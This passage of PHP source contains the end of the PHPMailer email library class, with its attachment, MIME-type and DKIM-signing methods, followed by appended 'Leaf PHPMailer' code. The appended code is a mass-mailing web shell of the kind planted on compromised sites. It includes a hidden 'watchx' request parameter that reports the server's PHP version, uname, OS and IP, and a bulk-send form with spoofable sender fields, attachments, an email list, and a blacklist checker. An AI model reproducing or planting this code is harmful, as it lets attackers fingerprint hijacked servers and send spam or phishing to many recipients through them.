        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
